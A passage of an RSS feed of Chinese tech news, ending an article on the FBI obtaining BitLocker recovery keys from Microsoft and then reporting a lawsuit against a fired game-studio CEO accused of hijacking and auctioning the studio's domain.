initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;在关岛的这起案件中，联邦调查局使用从微软获得的密钥绕过了加密，而此前联邦法医专家曾称这种加密是“无法破解的”。法庭文件显示，像国土安全调查局（HSI）这样的机构，若没有特定的恢复密钥，就缺乏破解BitLocker的工具。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box;margin: 0px 0px 1.2em;font-size: 16px;line-height: 1.75;text-align: justify;word-break: break-all;color: rgba(0, 0, 0, 0.8);font-family: PingFangSC-Regular, &amp;quot;Microsoft Yahei-Regular&amp;quot;, &amp;quot;Microsoft Yahei&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;微软向执法部门交出密钥的决定，与其竞争对手苹果和Meta形成了对比。苹果和Meta采用零知识架构，恢复密钥采用端到端加密或存储在用户设备上，这意味着即便收到传票，这些公司也无法遵从相关请求。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box;margin: 0px 0px 1.2em;font-size: 16px;line-height: 1.75;text-align: justify;word-break: break-all;color: rgba(0, 0, 0, 0.8);font-family: PingFangSC-Regular, &amp;quot;Microsoft Yahei-Regular&amp;quot;, &amp;quot;Microsoft Yahei&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;如今，随着微软配合执法部门的消息被报道，法律专家预计会有更多执法部门请求获取BitLocker密钥。不想让微软存储其密钥的用户，可以登录account.microsoft.com/devices/recoverykey查看自己的账户。在该网站上，用户可以查看密钥是否存储在云端。如果想要更高的安全性，建议采用仅本地存储密钥的方式，例如存储在物理USB驱动器或打印出来的文档中，以重新获得对加密数据的完全控制权&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;/section&gt;&lt;p style=&quot;display: none;&quot;&gt;&lt;mp-style-type data-value=&quot;3&quot;&gt;&lt;/mp-style-type&gt;&lt;/p&gt;</description><pubDate>Sat, 31 Jan 2026 12:47:46 +0800</pubDate></item><item><title>被解雇的游戏公司CEO，把工作室域名劫持拍卖了</title><link>https://www.7x0.cn/post/17.html</link><description>&lt;section style=&quot;font-size: 15px;letter-spacing: 0.038em;&quot;&gt;&lt;section style=&quot;font-size: 16px;color: rgb(62, 62, 62);margin-bottom: 0px;&quot;&gt;&lt;section style=&quot;text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;&quot;&gt;&lt;section style=&quot;vertical-align: middle;display: inline-block;line-height: 0;&quot;&gt;&lt;/section&gt;&lt;img class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-aistatus=&quot;1&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131124721176983484191628.png&quot; referrerpolicy=&quot;no-referrer&quot; data-w=&quot;960&quot; style=&quot;letter-spacing: 0.038em;&quot;/&gt;&lt;/section&gt;&lt;p style=&quot;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;p style=&quot;margin: 0 16px 24px;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;每当某些平台出现大规模崩溃，网络上总会流传出一段“内部人士”的聊天记录，其中有模有样地描绘了“删库跑路”的都市传说：某位被裁的程序员心怀不满，趁着手头还有权限时删除数据库或是物理关闭服务器，进而导致公司业务崩溃，实现技术性报复。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 0 16px 24px;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;当然，大多数时候，“删库跑路”都只是程序员之间发泄工作压力的一句玩笑。然而最近，类似的情节真的在北美的游戏行业发生了。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 0 16px 24px;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;前几天公示的一则起诉书显示，游戏工作室That&amp;#39;s No Moon（以下简称TNM）的联合创始人兼CEO迈克尔·蒙鲍尔，在被解雇的5年后劫持了工作室主页的域名。TNM成立于2020年，据介绍由来自Infinity Ward、顽皮狗等3A工作室的资深人士创办，至今尚未公布任何一款游戏。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 0 16px 24px;line-height: 2em;&quot;&gt;&lt;span style=&quot;letter-spacing: 0.038em;&quot;&gt;据TNM称，蒙鲍尔在担任CEO期间购买了与工作室相关的一系列域名，并以个人名义进行了注册。5年前，他因泄密而被辞退，然而至今仍把工作室域名攥在手上。期间，TNM曾试图通过仲裁拿回网站，最终却因为没有注册商标而被驳回。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 0 16px 24px;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;直到上周二，前CEO忽然开始对域名下手了：他禁用了工作室的访问权限，还关闭了员工向外部邮箱发送邮件的功能，导致整个团队的员工邮箱直到提交诉状时都没法使用。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 0 16px 24px;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;就在IT团队忙着抢修邮箱的同时，前CEO又反手把TNM的主页重新定向到了瑞士旅游页面。&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;text-align: center;margin: 0px 16px;line-height: 2em;padding: 0.5em;&quot; nodeleaf=&quot;&quot; data-mpa-action-id=&quot;mkwlsjg62fq&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131124721176983484184241.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;859&quot; style=&quot;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;p style=&quot;text-align: center;margin: 0px 16px 24px;line-height: 2em;font-size: 13px;&quot;&gt;&lt;span style=&quot;color: #8F959E;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;如果一个游戏工作室的邮箱域名退信，主页还变成了这样，大概很难不觉得他们要跑路了&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 0 16px 24px;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;而在TNM发函要求归还访问权限后，前CEO则变本加厉地将网站重新定向到了一个域名拍卖网站，并将其挂出了6666666美元的价格。&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;text-align: center;margin: 0px 16px;line-height: 2em;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131124722176983484241549.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;521&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;p style=&quot;text-align: center;margin: 0px 16px 24px;line-height: 2em;font-size: 13px;&quot;&gt;&lt;span style=&quot;color: #8F959E;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;直到现在，该域名还是不能正常访问&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 0 16px 24px;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;目前尚且没有信息显示双方的矛盾从何而来，不过确实可以看出积怨已久。劫持域名并非突发的泄愤行为，前CEO在被解雇后，不仅在个人社媒上对工作室狂飙垃圾话，甚至在连续三年里向前合伙人发送威胁短信。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 0 16px 24px;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;起诉书表示，这场风波导致TNM损失了超过100万美元，并且列出了商标侵权、域名抢注、计算机欺诈、侵占、非法侵入动产和违约这一系列控诉，可以感受到工作室方面相当恼火。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 0 16px 24px;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;值得注意的是，TNM工作室自2020年成立时起，就把名头打得很响。域名劫持带来的跑路嫌疑，确实对TNM有着相当大的杀伤力。前CEO的这一招可以说是既不要面子，也不顾后果了。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin: 0 16px 24px;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;而至于TNM打算做什么游戏，进展到哪一步，在公开信息中找不到太多线索。至少目前，这家“3A工作室”给外界留下的最清晰的印象，就只有这场标价6666666美元的“劫域跑路”事件了。&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;font-size: 16px;color: rgb(62, 62, 62);margin-bottom: 0px;&quot;&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;/p&gt;&lt;section style=&quot;text-align: center;margin-bottom: 8px;&quot;&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;display: none;&quot;&gt;&lt;mp-style-type data-value=&quot;10000&quot;&gt;&lt;/mp-style-type&gt;&lt;/p&gt;</description><pubDate>Sat, 31 Jan 2026 12:46:29 +0800</pubDate></item></channel></rss>